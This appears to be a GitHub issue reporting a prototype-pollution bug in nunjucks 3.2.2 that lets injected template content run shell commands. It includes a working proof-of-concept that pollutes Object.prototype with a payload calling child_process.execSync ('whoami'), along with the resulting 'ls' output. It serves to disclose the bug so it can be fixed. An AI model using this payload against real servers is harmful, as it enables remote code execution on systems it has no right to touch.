-
Notifications
You must be signed in to change notification settings - Fork 650
Closed
Description
This is a security bug. The current version of nunjucks can be attacked by prototype pollution.
What I expected isthis is payload2 content is function(){ return global.process.mainModule.require('child_process').execSync('ls') }() , but the function returns this is payload2 content is main.js node_modules package.json yarn.lock.
Closes #1330 .
Environment
Mac os 10.15.7
Nodejs 12.18.1
nunjucks 3.2.2
The sample code is as follows.
const nunjucks = require("nunjucks");
nunjucks.configure({
autoescape: true,
});
const template = nunjucks.compile(" content is {{ content }} ");
const payload = { };
payload.__proto__.content =
" function(){ return global.process.mainModule.require('child_process').execSync('whoami') }() ";
console.log("this is payload2 ", template.render(payload));noraj
Metadata
Metadata
Assignees
Labels
No labels
